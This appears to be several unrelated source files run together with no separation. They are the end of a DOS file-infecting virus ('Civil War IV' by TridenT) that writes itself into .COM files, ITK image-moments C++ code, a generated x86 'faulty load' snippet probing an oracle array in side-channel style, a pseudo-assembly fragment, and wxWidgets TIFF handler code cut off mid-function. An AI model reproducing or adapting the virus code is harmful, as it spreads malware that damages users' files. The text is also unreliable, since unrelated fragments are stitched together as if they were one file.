encrypt virus pop bp ; BP = delta offset ; get delta offset of stack ;****************************************************************************** ; T P E - E N D * ;****************************************************************************** Write_virus: mov bx,[handle+bp] mov ah,40h int 21h Restore_date: mov ax,05701h mov bx,[handle+bp] mov cx,[time+bp] mov dx,[date+bp] int 21h Exit: mov bx,0100h ; jump to start program jmp bx ;---------------------------------------------------------------------------- move_pointer: mov bx,[handle+bp] xor cx,cx xor dx,dx int 21h ret ;---------------------------------------------------------------------------- v_name db "Civil War IV, (c) 1993 " com_mask db "*.com",0 handle dw ? date dw ? time dw ? buffer db 090h,0cdh,020h,044h,048h,00h initials dw 4844h lenght dw ? jump db 0e9h,0 message db "For all i'v seen has changed my mind" db "But still the wars go on as the years go by" db "With no love of God or human rights" db "'Cause all these dreams are swept aside" db "By bloody hands of the hypnotized" db "Who carry the cross of homicide" db "And history bears the scars of our Civil Wars." writer db "[ DH / TridenT ]",00 end dummy
/*========================================================================= * * Copyright Insight Software Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0.txt * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *=========================================================================*/ #ifndef itkAdvancedImageMomentsCalculator_hxx #define itkAdvancedImageMomentsCalculator_hxx #include "itkAdvancedImageMomentsCalculator.h" #include "vnl/algo/vnl_real_eigensystem.h" #include "vnl/algo/vnl_symmetric_eigensystem.h" #include "itkImageRegionConstIteratorWithIndex.h" namespace itk { class InvalidImageMomentsError:public ExceptionObject { public: /** * Constructor. Needed to ensure the exception object can be copied. */ InvalidImageMomentsError(const char *file, unsigned int lineNumber):ExceptionObject(file, lineNumber) { this-> SetDescription( "No valid image moments are available."); } /** * Constructor. Needed to ensure the exception object can be copied. */ InvalidImageMomentsError(const std::string & file, unsigned int lineNumber):ExceptionObject(file, lineNumber) { this-> SetDescription( "No valid image moments are available."); } itkTypeMacro(InvalidImageMomentsError, ExceptionObject); }; //---------------------------------------------------------------------- // Construct without computing moments template< typename TImage > AdvancedImageMomentsCalculator< TImage >::AdvancedImageMomentsCalculator(void) { m_Valid = false; m_Image = ITK_NULLPTR; m_SpatialObjectMask = ITK_NULLPTR; m_M0 = NumericTraits< ScalarType >::ZeroValue(); m_M1.Fill(NumericTraits< typename VectorType::ValueType >::ZeroValue()); m_M2.Fill(NumericTraits< typename MatrixType::ValueType >::ZeroValue()); m_Cg.Fill(NumericTraits< typename VectorType::ValueType >::ZeroValue()); m_Cm.Fill(NumericTraits< typename MatrixType::ValueType >::ZeroValue()); m_Pm.Fill(NumericTraits< typename VectorType::ValueType >::ZeroValue()); m_Pa.Fill(NumericTraits< typename MatrixType::ValueType >::ZeroValue()); /** Threading related variables. */ this->m_UseMultiThread = true; this->m_Threader = ThreaderType::New(); this->m_Threader->SetUseThreadPool(false); /** Initialize the m_ThreaderParameters. */ this->m_ThreaderParameters.st_Self = this; // Multi-threading structs this->m_ComputePerThreadVariables = NULL; this->m_ComputePerThreadVariablesSize = 0; this->m_CenterOfGravityUsesLowerThreshold = false; this->m_NumberOfSamplesForCenteredTransformInitialization = 10000; this->m_LowerThresholdForCenterGravity = 500; } //---------------------------------------------------------------------- // Destructor template< typename TImage > AdvancedImageMomentsCalculator< TImage >:: ~AdvancedImageMomentsCalculator() { delete[] this->m_ComputePerThreadVariables; } /** * ************************* InitializeThreadingParameters ************************ */ template< typename TImage > void AdvancedImageMomentsCalculator< TImage > ::InitializeThreadingParameters(void) { /** Resize and initialize the threading related parameters. * The SetSize() functions do not resize the data when this is not * needed, which saves valuable re-allocation time. * * This function is only to be called at the start of each resolution. * Re-initialization of the potentially large vectors is performed after * each iteration, in the accumulate functions, in a multi-threaded fashion. * This has performance benefits for larger vector sizes. */ const ThreadIdType numberOfThreads = this->m_Threader->GetNumberOfThreads(); /** Only resize the array of structs when needed. */ if (this->m_ComputePerThreadVariablesSize != numberOfThreads) { delete[] this->m_ComputePerThreadVariables; this->m_ComputePerThreadVariables = new AlignedComputePerThreadStruct[numberOfThreads]; this->m_ComputePerThreadVariablesSize = numberOfThreads; } /** Some initialization. */ for (ThreadIdType i = 0; i < numberOfThreads; ++i) { this->m_ComputePerThreadVariables[i].st_M0 = NumericTraits< ScalarType >::Zero; this->m_ComputePerThreadVariables[i].st_M1 = NumericTraits< typename VectorType::ValueType >::Zero; this->m_ComputePerThreadVariables[i].st_M2.Fill(NumericTraits< typename MatrixType::ValueType >::ZeroValue()); this->m_ComputePerThreadVariables[i].st_Cg = NumericTraits< typename VectorType::ValueType >::Zero; this->m_ComputePerThreadVariables[i].st_Cm.Fill(NumericTraits< typename MatrixType::ValueType >::ZeroValue()); this->m_ComputePerThreadVariables[i].st_NumberOfPixelsCounted = NumericTraits< SizeValueType >::Zero; } } // end InitializeThreadingParameters() //---------------------------------------------------------------------- // Compute moments for a new or modified image template< typename TImage > void AdvancedImageMomentsCalculator< TImage > ::ComputeSingleThreaded() { if ( this->m_CenterOfGravityUsesLowerThreshold ) { typename BinaryThresholdImageFilterType::Pointer thresholdFilter = BinaryThresholdImageFilterType::New(); thresholdFilter->SetInput(this->m_Image); thresholdFilter->SetLowerThreshold(this->m_LowerThresholdForCenterGravity); thresholdFilter->SetInsideValue(1); thresholdFilter->SetOutsideValue(0); thresholdFilter->Update(); this->SetImage(thresholdFilter->GetOutput()); } m_M0 = NumericTraits< ScalarType >::ZeroValue(); m_M1.Fill(NumericTraits< typename VectorType::ValueType >::ZeroValue()); m_M2.Fill(NumericTraits< typename MatrixType::ValueType >::ZeroValue()); m_Cg.Fill(NumericTraits< typename VectorType::ValueType >::ZeroValue()); m_Cm.Fill(NumericTraits< typename MatrixType::ValueType >::ZeroValue()); typedef typename ImageType::IndexType IndexType; if ( !m_Image ) { return; } ImageRegionConstIteratorWithIndex< ImageType > it( m_Image, m_Image->GetRequestedRegion() ); while ( !it.IsAtEnd() ) { double value = it.Value(); IndexType indexPosition = it.GetIndex(); Point< double, ImageDimension > physicalPosition; m_Image->TransformIndexToPhysicalPoint(indexPosition, physicalPosition); if ( m_SpatialObjectMask.IsNull() || m_SpatialObjectMask->IsInside(physicalPosition) ) { m_M0 += value; for ( unsigned int i = 0; i < ImageDimension; i++ ) { m_M1[i] += static_cast< double >( indexPosition[i] ) * value; for ( unsigned int j = 0; j < ImageDimension; j++ ) { double weight = value * static_cast< double >( indexPosition[i] ) * static_cast< double >( indexPosition[j] ); m_M2[i][j] += weight; } } for ( unsigned int i = 0; i < ImageDimension; i++ ) { m_Cg[i] += physicalPosition[i] * value; for ( unsigned int j = 0; j < ImageDimension; j++ ) { double weight = value * physicalPosition[i] * physicalPosition[j]; m_Cm[i][j] += weight; } } } ++it; } // Throw an error if the total mass is zero if ( m_M0 == 0.0 ) { itkExceptionMacro( << "Compute(): Total Mass of the image was zero. Aborting here to prevent division by zero later on."); } // Normalize using the total mass for ( unsigned int i = 0; i < ImageDimension; i++ ) { m_Cg[i] /= m_M0; m_M1[i] /= m_M0; for ( unsigned int j = 0; j < ImageDimension; j++ ) { m_M2[i][j] /= m_M0; m_Cm[i][j] /= m_M0; } } // Center the second order moments for ( unsigned int i = 0; i < ImageDimension; i++ ) { for ( unsigned int j = 0; j < ImageDimension; j++ ) { m_M2[i][j] -= m_M1[i] * m_M1[j]; m_Cm[i][j] -= m_Cg[i] * m_Cg[j]; } } // Compute principal moments and axes vnl_symmetric_eigensystem< double > eigen( m_Cm.GetVnlMatrix() ); vnl_diag_matrix< double > pm = eigen.D; for ( unsigned int i = 0; i < ImageDimension; i++ ) { m_Pm[i] = pm(i) * m_M0; } m_Pa = eigen.V.transpose(); // Add a final reflection if needed for a proper rotation, // by multiplying the last row by the determinant vnl_real_eigensystem eigenrot( m_Pa.GetVnlMatrix() ); vnl_diag_matrix< std::complex< double > > eigenval = eigenrot.D; std::complex< double > det(1.0, 0.0); for ( unsigned int i = 0; i < ImageDimension; i++ ) { det *= eigenval(i); } for ( unsigned int i = 0; i < ImageDimension; i++ ) { m_Pa[ImageDimension - 1][i] *= std::real(det); } /* Remember that the moments are valid */ m_Valid = 1; } //---------------------------------------------------------------------- // Compute moments for a new or modified image template< typename TImage > void AdvancedImageMomentsCalculator< TImage > ::Compute() { /** Option for now to still use the single threaded code. */ if (!this->m_UseMultiThread) { return this->ComputeSingleThreaded(); } /** Initialize multi-threading. */ this->InitializeThreadingParameters(); /** Tackle stuff needed before multi-threading. */ this->BeforeThreadedCompute(); /** Launch multi-threaded computation. */ this->LaunchComputeThreaderCallback(); /** Gather the values from all threads. */ this->AfterThreadedCompute(); } // end Compute() /** * *********************** BeforeThreadedCompute*************** */ template< typename TImage > void AdvancedImageMomentsCalculator< TImage > ::BeforeThreadedCompute() { m_M0 = NumericTraits< ScalarType >::ZeroValue(); m_M1.Fill(NumericTraits< typename VectorType::ValueType >::ZeroValue()); m_M2.Fill(NumericTraits< typename MatrixType::ValueType >::ZeroValue()); m_Cg.Fill(NumericTraits< typename VectorType::ValueType >::ZeroValue()); m_Cm.Fill(NumericTraits< typename MatrixType::ValueType >::ZeroValue()); typedef typename ImageType::IndexType IndexType; if (!m_Image) { return; } if ( this->m_CenterOfGravityUsesLowerThreshold ) { typename BinaryThresholdImageFilterType::Pointer thresholdFilter = BinaryThresholdImageFilterType::New(); thresholdFilter->SetInput(this->m_Image); thresholdFilter->SetLowerThreshold(this->m_LowerThresholdForCenterGravity); thresholdFilter->SetInsideValue(1); thresholdFilter->SetOutsideValue(0); thresholdFilter->Update(); this->SetImage(thresholdFilter->GetOutput()); } this->SampleImage(this->m_SampleContainer); } // end BeforeThreadedCompute() /** * *********************** LaunchComputeThreaderCallback*************** */ template< typename TImage > void AdvancedImageMomentsCalculator< TImage > ::LaunchComputeThreaderCallback(void) const { /** Setup threader. */ this->m_Threader->SetSingleMethod(this->ComputeThreaderCallback, const_cast< void * >(static_cast< const void * >(&this->m_ThreaderParameters))); /** Launch. */ this->m_Threader->SingleMethodExecute(); } // end LaunchComputeThreaderCallback() /** * ************ ComputeThreaderCallback **************************** */ template< typename TImage > ITK_THREAD_RETURN_TYPE AdvancedImageMomentsCalculator< TImage > ::ComputeThreaderCallback(void * arg) { /** Get the current thread id and user data. */ ThreadInfoType * infoStruct = static_cast< ThreadInfoType * >(arg); ThreadIdType threadID = infoStruct->ThreadID; MultiThreaderParameterType * temp = static_cast< MultiThreaderParameterType * >(infoStruct->UserData); /** Call the real implementation. */ temp->st_Self->ThreadedCompute(threadID); return ITK_THREAD_RETURN_VALUE; } // end ComputeThreaderCallback() /** * ************ ThreadedCompute **************************** */ template< typename TImage > void AdvancedImageMomentsCalculator< TImage > ::ThreadedCompute(ThreadIdType threadId) { typedef typename ImageType::IndexType IndexType; if (!this->m_Image) { return; } ScalarType M0 = 0; VectorType M1,Cg; M1.Fill(NumericTraits< typename VectorType::ValueType >::ZeroValue()); Cg.Fill(NumericTraits< typename VectorType::ValueType >::ZeroValue()); MatrixType M2,Cm; M2.Fill(NumericTraits< typename MatrixType::ValueType >::ZeroValue()); Cm.Fill(NumericTraits< typename MatrixType::ValueType >::ZeroValue()); unsigned long numberOfPixelsCounted = 0; /** Get sample container size, number of threads, and output space dimension. */ const SizeValueType sampleContainerSize = this->m_SampleContainer->Size(); const ThreadIdType numberOfThreads = this->m_Threader->GetNumberOfThreads(); /** Get the samples for this thread. */ const unsigned long nrOfSamplesPerThreads = static_cast<unsigned long>(vcl_ceil(static_cast<double>(sampleContainerSize) / static_cast<double>(numberOfThreads))); unsigned long pos_begin = nrOfSamplesPerThreads * threadId; unsigned long pos_end = nrOfSamplesPerThreads * (threadId + 1); pos_begin = (pos_begin > sampleContainerSize) ? sampleContainerSize : pos_begin; pos_end = (pos_end > sampleContainerSize) ? sampleContainerSize : pos_end; /** Create iterator over the sample container. */ typename ImageSampleContainerType::ConstIterator threader_fiter; typename ImageSampleContainerType::ConstIterator threader_fbegin = this->m_SampleContainer->Begin(); typename ImageSampleContainerType::ConstIterator threader_fend = this->m_SampleContainer->Begin(); threader_fbegin += (int)pos_begin; threader_fend += (int)pos_end; for (threader_fiter = threader_fbegin; threader_fiter != threader_fend; ++threader_fiter) { double value = (*threader_fiter).Value().m_ImageValue; //IndexType indexPosition = (*threader_fiter).GetIndex(); Point< double, ImageDimension > physicalPosition = (*threader_fiter).Value().m_ImageCoordinates; if (m_SpatialObjectMask.IsNull() || m_SpatialObjectMask->IsInside(physicalPosition)) { M0 += value; for (unsigned int i = 0; i < ImageDimension; i++) { Cg[i] += physicalPosition[i] * value; for (unsigned int j = 0; j < ImageDimension; j++) { double weight = value * physicalPosition[i] * physicalPosition[j]; Cm[i][j] += weight; } } numberOfPixelsCounted++; } } /** Update the thread struct once. */ this->m_ComputePerThreadVariables[threadId].st_M0 = M0; this->m_ComputePerThreadVariables[threadId].st_M1 = M1; this->m_ComputePerThreadVariables[threadId].st_M2 = M2; this->m_ComputePerThreadVariables[threadId].st_Cg = Cg; this->m_ComputePerThreadVariables[threadId].st_Cm = Cm; this->m_ComputePerThreadVariables[threadId].st_NumberOfPixelsCounted = numberOfPixelsCounted; }// end ThreadedCompute() /** * *********************** AfterThreadedCompute*************** */ template< typename TImage > void AdvancedImageMomentsCalculator< TImage > ::AfterThreadedCompute() { const ThreadIdType numberOfThreads = this->m_Threader->GetNumberOfThreads(); /** Accumulate thread results. */ for (ThreadIdType k = 0; k < numberOfThreads; ++k) { this->m_M0 += this->m_ComputePerThreadVariables[k].st_M0; for (unsigned int i = 0; i < ImageDimension; ++i) { this->m_M1[i] += this->m_ComputePerThreadVariables[k].st_M1[i]; this->m_Cg[i] += this->m_ComputePerThreadVariables[k].st_Cg[i]; this->m_ComputePerThreadVariables[k].st_M1[i] = 0; this->m_ComputePerThreadVariables[k].st_Cg[i] = 0; for (unsigned int j = 0; j < ImageDimension; ++j) { this->m_M2[i][j] += this->m_ComputePerThreadVariables[k].st_M2[i][j]; this->m_Cm[i][j] += this->m_ComputePerThreadVariables[k].st_Cm[i][j]; this->m_ComputePerThreadVariables[k].st_M2[i][j] = 0; this->m_ComputePerThreadVariables[k].st_Cm[i][j] = 0; } this->m_ComputePerThreadVariables[k].st_M0 = 0; } } // Throw an error if the total mass is zero if (this->m_M0 == 0.0) { itkExceptionMacro( << "Compute(): Total Mass of the image was zero. Aborting here to prevent division by zero later on."); } // Normalize using the total mass for (unsigned int i = 0; i < ImageDimension; i++) { m_Cg[i] /= m_M0; m_M1[i] /= m_M0; for (unsigned int j = 0; j < ImageDimension; j++) { m_M2[i][j] /= m_M0; m_Cm[i][j] /= m_M0; } } // Center the second order moments for (unsigned int i = 0; i < ImageDimension; i++) { for (unsigned int j = 0; j < ImageDimension; j++) { m_M2[i][j] -= m_M1[i] * m_M1[j]; m_Cm[i][j] -= m_Cg[i] * m_Cg[j]; } } // Compute principal moments and axes vnl_symmetric_eigensystem< double > eigen(m_Cm.GetVnlMatrix()); vnl_diag_matrix< double > pm = eigen.D; for (unsigned int i = 0; i < ImageDimension; i++) { m_Pm[i] = pm(i) * m_M0; } m_Pa = eigen.V.transpose(); // Add a final reflection if needed for a proper rotation, // by multiplying the last row by the determinant vnl_real_eigensystem eigenrot(m_Pa.GetVnlMatrix()); vnl_diag_matrix< std::complex< double > > eigenval = eigenrot.D; std::complex< double > det(1.0, 0.0); for (unsigned int i = 0; i < ImageDimension; i++) { det *= eigenval(i); } for (unsigned int i = 0; i < ImageDimension; i++) { m_Pa[ImageDimension - 1][i] *= std::real(det); } /* Remember that the moments are valid */ m_Valid = 1; } //--------------------------------------------------------------------- // Get sum of intensities template< typename TImage > typename AdvancedImageMomentsCalculator< TImage >::ScalarType AdvancedImageMomentsCalculator< TImage >::GetTotalMass() const { if ( !m_Valid ) { itkExceptionMacro(<< "GetTotalMass() invoked, but the moments have not been computed. Call Compute() first."); } return m_M0; } //-------------------------------------------------------------------- // Get first moments about origin, in index coordinates template< typename TImage > typename AdvancedImageMomentsCalculator< TImage >::VectorType AdvancedImageMomentsCalculator< TImage >::GetFirstMoments() const { if ( !m_Valid ) { itkExceptionMacro(<< "GetFirstMoments() invoked, but the moments have not been computed. Call Compute() first."); } return m_M1; } //-------------------------------------------------------------------- // Get second moments about origin, in index coordinates template< typename TImage > typename AdvancedImageMomentsCalculator< TImage >::MatrixType AdvancedImageMomentsCalculator< TImage >::GetSecondMoments() const { if ( !m_Valid ) { itkExceptionMacro(<< "GetSecondMoments() invoked, but the moments have not been computed. Call Compute() first."); } return m_M2; } //-------------------------------------------------------------------- // Get center of gravity, in physical coordinates template< typename TImage > typename AdvancedImageMomentsCalculator< TImage >::VectorType AdvancedImageMomentsCalculator< TImage >::GetCenterOfGravity() const { if ( !m_Valid ) { itkExceptionMacro(<< "GetCenterOfGravity() invoked, but the moments have not been computed. Call Compute() first."); } return m_Cg; } //-------------------------------------------------------------------- // Get second central moments, in physical coordinates template< typename TImage > typename AdvancedImageMomentsCalculator< TImage >::MatrixType AdvancedImageMomentsCalculator< TImage >::GetCentralMoments() const { if ( !m_Valid ) { itkExceptionMacro(<< "GetCentralMoments() invoked, but the moments have not been computed. Call Compute() first."); } return m_Cm; } //-------------------------------------------------------------------- // Get principal moments, in physical coordinates template< typename TImage > typename AdvancedImageMomentsCalculator< TImage >::VectorType AdvancedImageMomentsCalculator< TImage >::GetPrincipalMoments() const { if ( !m_Valid ) { itkExceptionMacro(<< "GetPrincipalMoments() invoked, but the moments have not been computed. Call Compute() first."); } return m_Pm; } //-------------------------------------------------------------------- // Get principal axes, in physical coordinates template< typename TImage > typename AdvancedImageMomentsCalculator< TImage >::MatrixType AdvancedImageMomentsCalculator< TImage >::GetPrincipalAxes() const { if ( !m_Valid ) { itkExceptionMacro(<< "GetPrincipalAxes() invoked, but the moments have not been computed. Call Compute() first."); } return m_Pa; } //-------------------------------------------------------------------- // Get principal axes to physical axes transform template< typename TImage > typename AdvancedImageMomentsCalculator< TImage >::AffineTransformPointer AdvancedImageMomentsCalculator< TImage >::GetPrincipalAxesToPhysicalAxesTransform(void) const { typename AffineTransformType::MatrixType matrix; typename AffineTransformType::OffsetType offset; for ( unsigned int i = 0; i < ImageDimension; i++ ) { offset[i] = m_Cg[i]; for ( unsigned int j = 0; j < ImageDimension; j++ ) { matrix[j][i] = m_Pa[i][j]; // Note the transposition } } AffineTransformPointer result = AffineTransformType::New(); result->SetMatrix(matrix); result->SetOffset(offset); return result; } //-------------------------------------------------------------------- // Get physical axes to principal axes transform template< typename TImage > typename AdvancedImageMomentsCalculator< TImage >::AffineTransformPointer AdvancedImageMomentsCalculator< TImage >::GetPhysicalAxesToPrincipalAxesTransform(void) const { typename AffineTransformType::MatrixType matrix; typename AffineTransformType::OffsetType offset; for ( unsigned int i = 0; i < ImageDimension; i++ ) { offset[i] = m_Cg[i]; for ( unsigned int j = 0; j < ImageDimension; j++ ) { matrix[j][i] = m_Pa[i][j]; // Note the transposition } } AffineTransformPointer result = AffineTransformType::New(); result->SetMatrix(matrix); result->SetOffset(offset); AffineTransformPointer inverse = AffineTransformType::New(); result->GetInverse(inverse); return inverse; } /** * ************************* SampleImage ********************* */ template< typename TInputImage > void AdvancedImageMomentsCalculator< TInputImage > ::SampleImage( ImageSampleContainerPointer & sampleContainer ) { /** Set up grid sampler. */ ImageGridSamplerPointer sampler = ImageGridSamplerType::New(); // ImageFullSamplerPointer sampler = ImageFullSamplerType::New(); sampler->SetInput(this->m_Image); sampler->SetInputImageRegion(this->m_Image->GetRequestedRegion()); //sampler->SetMask(this->m_Image->GetSpatialObjectMask()); /** Determine grid spacing of sampler such that the desired * NumberOfJacobianMeasurements is achieved approximately. * Note that the actually obtained number of samples may be lower, due to masks. * This is taken into account at the end of this function. */ SizeValueType nrofsamples = this->m_NumberOfSamplesForCenteredTransformInitialization; sampler->SetNumberOfSamples(nrofsamples); /** Get samples and check the actually obtained number of samples. */ sampler->Update(); sampleContainer = sampler->GetOutput(); nrofsamples = sampleContainer->Size(); if (nrofsamples == 0) { itkExceptionMacro( << "No valid voxels (0/" << this->m_NumberOfSamplesForCenteredTransformInitialization << ") found to estimate the AutomaticTransformInitialization parameters."); } } // end SampleImage() template< typename TInputImage > void AdvancedImageMomentsCalculator< TInputImage > ::PrintSelf(std::ostream & os, Indent indent) const { Superclass::PrintSelf(os, indent); os << indent << "Image: " << m_Image.GetPointer() << std::endl; os << indent << "Valid: " << m_Valid << std::endl; os << indent << "Zeroth Moment about origin: " << m_M0 << std::endl; os << indent << "First Moment about origin: " << m_M1 << std::endl; os << indent << "Second Moment about origin: " << m_M2 << std::endl; os << indent << "Center of Gravity: " << m_Cg << std::endl; os << indent << "Second central moments: " << m_Cm << std::endl; os << indent << "Principal Moments: " << m_Pm << std::endl; os << indent << "Principal axes: " << m_Pa << std::endl; } } // end namespace itk #endif
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %rbx push %rcx lea addresses_normal_ht+0x12528, %rbx nop nop nop nop nop sub $1063, %r8 mov (%rbx), %cx nop nop nop nop nop add $23846, %r15 pop %rcx pop %rbx pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r9 push %rax push %rbp push %rcx push %rdi // Store lea addresses_WC+0x1451a, %rcx xor $12677, %rdi mov $0x5152535455565758, %r9 movq %r9, %xmm1 vmovups %ymm1, (%rcx) nop nop nop cmp %rcx, %rcx // Store lea addresses_D+0x100a8, %r9 nop nop nop nop nop sub $29764, %rbp movl $0x51525354, (%r9) nop nop nop add %rax, %rax // Load lea addresses_PSE+0x1c2d0, %rax sub %r11, %r11 mov (%rax), %ecx nop add $15114, %rbp // Store lea addresses_normal+0x3d28, %rbp dec %r11 mov $0x5152535455565758, %r9 movq %r9, %xmm2 movntdq %xmm2, (%rbp) nop dec %rcx // Faulty Load lea addresses_US+0x4528, %r9 nop and %r10, %r10 mov (%r9), %rcx lea oracles, %r9 and $0xff, %rcx shlq $12, %rcx mov (%r9,%rcx,1), %rcx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'00': 15} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
SP = SP - 4 M[SP] = NEG25 RV = .1 M[SP] ; SP = SP + 4 RET
///////////////////////////////////////////////////////////////////////////// // Name: src/common/imagtiff.cpp // Purpose: wxImage TIFF handler // Author: Robert Roebling // Copyright: (c) Robert Roebling // Licence: wxWindows licence ///////////////////////////////////////////////////////////////////////////// // ============================================================================ // declarations // ============================================================================ // ---------------------------------------------------------------------------- // headers // ---------------------------------------------------------------------------- // For compilers that support precompilation, includes "wx.h". #include "wx/wxprec.h" #ifdef __BORLANDC__ #pragma hdrstop #endif #if wxUSE_IMAGE && wxUSE_LIBTIFF #include "wx/imagtiff.h" #include "wx/versioninfo.h" #ifndef WX_PRECOMP #include "wx/log.h" #include "wx/app.h" #include "wx/intl.h" #include "wx/bitmap.h" #include "wx/module.h" #include "wx/wxcrtvararg.h" #endif extern "C" { #include "tiff.h" #include "tiffio.h" } #include "wx/filefn.h" #include "wx/wfstream.h" #ifndef TIFFLINKAGEMODE #define TIFFLINKAGEMODE LINKAGEMODE #endif // ============================================================================ // implementation // ============================================================================ // ---------------------------------------------------------------------------- // TIFF library error/warning handlers // ---------------------------------------------------------------------------- static wxString FormatTiffMessage(const char *module, const char *fmt, va_list ap) { char buf[512]; if ( wxCRT_VsnprintfA(buf, WXSIZEOF(buf), fmt, ap) <= 0 ) { // this isn't supposed to happen, but if it does, it's better // than nothing strcpy(buf, "Incorrectly formatted TIFF message"); } buf[WXSIZEOF(buf)-1] = 0; // make sure it is always NULL-terminated wxString msg(buf); if ( module ) msg += wxString::Format(_(" (in module \"%s\")"), module); return msg; } extern "C" { static void TIFFwxWarningHandler(const char* module, const char *fmt, va_list ap) { wxLogWarning("%s", FormatTiffMessage(module, fmt, ap)); } static void TIFFwxErrorHandler(const char* module, const char *fmt, va_list ap) { wxLogError("%s", FormatTiffMessage(module, fmt, ap)); } } // extern "C" //----------------------------------------------------------------------------- // wxTIFFHandler //----------------------------------------------------------------------------- wxIMPLEMENT_DYNAMIC_CLASS(wxTIFFHandler,wxImageHandler); wxTIFFHandler::wxTIFFHandler() { m_name = wxT("TIFF file"); m_extension = wxT("tif"); m_altExtensions.Add(wxT("tiff")); m_type = wxBITMAP_TYPE_TIFF; m_mime = wxT("image/tiff"); TIFFSetWarningHandler((TIFFErrorHandler) TIFFwxWarningHandler); TIFFSetErrorHandler((TIFFErrorHandler) TIFFwxErrorHandler); } #if wxUSE_STREAMS // helper to translate our, possibly 64 bit, wxFileOffset to TIFF, always 32 // bit, toff_t static toff_t wxFileOffsetToTIFF(wxFileOffset ofs) { if ( ofs == wxInvalidOffset ) return (toff_t)-1; toff_t tofs = wx_truncate_cast(toff_t, ofs); wxCHECK_MSG( (wxFileOffset)tofs == ofs, (toff_t)-1, wxT("TIFF library doesn't support large files") ); return tofs; } // another helper to convert standard seek mode to our static wxSeekMode wxSeekModeFromTIFF(int whence) { switch ( whence ) { case SEEK_SET: return wxFromStart; case SEEK_CUR: return wxFromCurrent; case SEEK_END: return wxFromEnd; default: return wxFromCurrent; } } extern "C" { tsize_t TIFFLINKAGEMODE wxTIFFNullProc(thandle_t WXUNUSED(handle), tdata_t WXUNUSED(buf), tsize_t WXUNUSED(size)) { return (tsize_t) -1; } tsize_t TIFFLINKAGEMODE wxTIFFReadProc(thandle_t handle, tdata_t buf, tsize_t size) { wxInputStream *stream = (wxInputStream*) handle; stream->Read( (void*) buf, (size_t) size ); return wx_truncate_cast(tsize_t, stream->LastRead()); } tsize_t TIFFLINKAGEMODE wxTIFFWriteProc(thandle_t handle, tdata_t buf, tsize_t size) { wxOutputStream *stream = (wxOutputStream*) handle; stream->Write( (void*) buf, (size_t) size ); return wx_truncate_cast(tsize_t, stream->LastWrite()); } toff_t TIFFLINKAGEMODE wxTIFFSeekIProc(thandle_t handle, toff_t off, int whence) { wxInputStream *stream = (wxInputStream*) handle; return wxFileOffsetToTIFF(stream->SeekI((wxFileOffset)off, wxSeekModeFromTIFF(whence))); } toff_t TIFFLINKAGEMODE wxTIFFSeekOProc(thandle_t handle, toff_t off, int whence) { wxOutputStream *stream = (wxOutputStream*) handle; toff_t offset = wxFileOffsetToTIFF( stream->SeekO((wxFileOffset)off, wxSeekModeFromTIFF(whence)) ); if (offset != (toff_t) -1 || whence != SEEK_SET) { return offset; } /* Try to workaround problems with libtiff seeking past the end of streams. This occurs when libtiff is writing tag entries past the end of a stream but hasn't written the directory yet (which will be placed before the tags and contain offsets to the just written tags). The behaviour for seeking past the end of a stream is not consistent and doesn't work with for example wxMemoryOutputStream. When this type of seeking fails (with SEEK_SET), fill in the gap with zeroes and try again. */ wxFileOffset streamLength = stream->GetLength(); if (streamLength != wxInvalidOffset && (wxFileOffset) off > streamLength) { if (stream->SeekO(streamLength, wxFromStart) == wxInvalidOffset) { return (toff_t) -1; } for (wxFileOffset i = 0; i < (wxFileOffset) off - streamLength; ++i) { stream->PutC(0); } } return wxFileOffsetToTIFF( stream->TellO() ); } int TIFFLINKAGEMODE wxTIFFCloseIProc(thandle_t WXUNUSED(handle)) { // there is no need to close the input stream return 0; } int TIFFLINKAGEMODE wxTIFFCloseOProc(thandle_t handle) { wxOutputStream *stream = (wxOutputStream*) handle; return stream->Close() ? 0 : -1; } toff_t TIFFLINKAGEMODE wxTIFFSizeProc(thandle_t handle) { wxStreamBase *stream = (wxStreamBase*) handle; return (toff_t) stream->GetSize(); } int TIFFLINKAGEMODE wxTIFFMapProc(thandle_t WXUNUSED(handle), tdata_t* WXUNUSED(pbase), toff_t* WXUNUSED(psize)) { return 0; } void TIFFLINKAGEMODE wxTIFFUnmapProc(thandle_t WXUNUSED(handle), tdata_t WXUNUSED(base), toff_t WXUNUSED(size)) { } } // extern "C" TIFF* TIFFwxOpen(wxInputStream &stream, const char* name, const char* mode) { TIFF* tif = TIFFClientOpen(name, mode, (thandle_t) &stream, wxTIFFReadProc, wxTIFFNullProc, wxTIFFSeekIProc, wxTIFFCloseIProc, wxTIFFSizeProc, wxTIFFMapProc, wxTIFFUnmapProc); return tif; } TIFF* TIFFwxOpen(wxOutputStream &stream, const char* name, const char* mode) { TIFF* tif = TIFFClientOpen(name, mode, (thandle_t) &stream, wxTIFFNullProc, wxTIFFWriteProc, wxTIFFSeekOProc, wxTIFFCloseOProc, wxTIFFSizeProc, wxTIFFMapProc, wxTIFFUnmapProc); return tif; } bool wxTIFFHandler::LoadFile( wxImage *image, wxInputStream& stream, bool verbose, int index 